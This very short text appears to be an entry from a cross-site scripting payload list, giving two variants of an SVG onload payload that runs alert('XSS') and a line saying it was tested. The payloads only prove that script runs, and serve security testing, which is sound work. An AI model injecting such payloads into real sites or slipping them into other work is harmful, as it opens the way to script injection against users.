<svg/onload=alert('XSS')>

<svg/onload=alert('XSS')>'

Credit: tested